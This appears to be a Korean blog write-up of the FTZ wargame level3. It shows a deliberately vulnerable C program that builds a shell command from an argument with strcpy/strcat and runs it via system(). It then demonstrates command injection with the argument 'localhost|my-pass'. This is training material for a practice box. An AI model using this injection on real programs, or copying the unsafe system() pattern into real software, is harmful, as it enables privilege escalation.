FTZ level3

Posted by dw0rdptr
2015. 3. 17. 20:09 System/FTZ


argc와 argv에 대해


main함수, 즉 프로그램이 실행할 때 인자를 받는경우 argc는 받는 인자의 개수를 뜻하고, argv는 인자를 가리킨다.


다음 코드는 autodig의 소스이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> 
int main(int argc, char **argv){         //argc는 인자의 개수, argv는 인자를 뜻한다     
    
    char cmd[100];     
 
    if( argc!=2 )
{        
        printf( "Auto Digger Version 0.9\n" );        
        printf( "Usage : %s host\n", argv[0] );        
        exit(0);    
    }     
 
    strcpy( cmd, "dig @" );    
    strcat( cmd, argv[1] );    
    strcat( cmd, " version.bind chaos txt");     
 
    system( cmd ); 
}
 
cs

이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?



인자가 2개가 아닐경우 프로그램을 바로 종료해버린다.

동시에 여러 인자를 전달하려면 파이프명령어 | (Shift+\) 를 쓰면 된다.


[level3@ftz level2]$ ./autodig localhost|my-pass


Level3 Password is "can you fly?".



? 현재 레벨의 my-pass가 나온다

힌트에 문자열 형태로 명령어를 전달하라고 했으니 ""를 써보자


[level3@ftz level2]$ ./autodig "localhost|my-pass"




'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level2  (0) 2015.03.17
FTZ level1  (0) 2015.03.17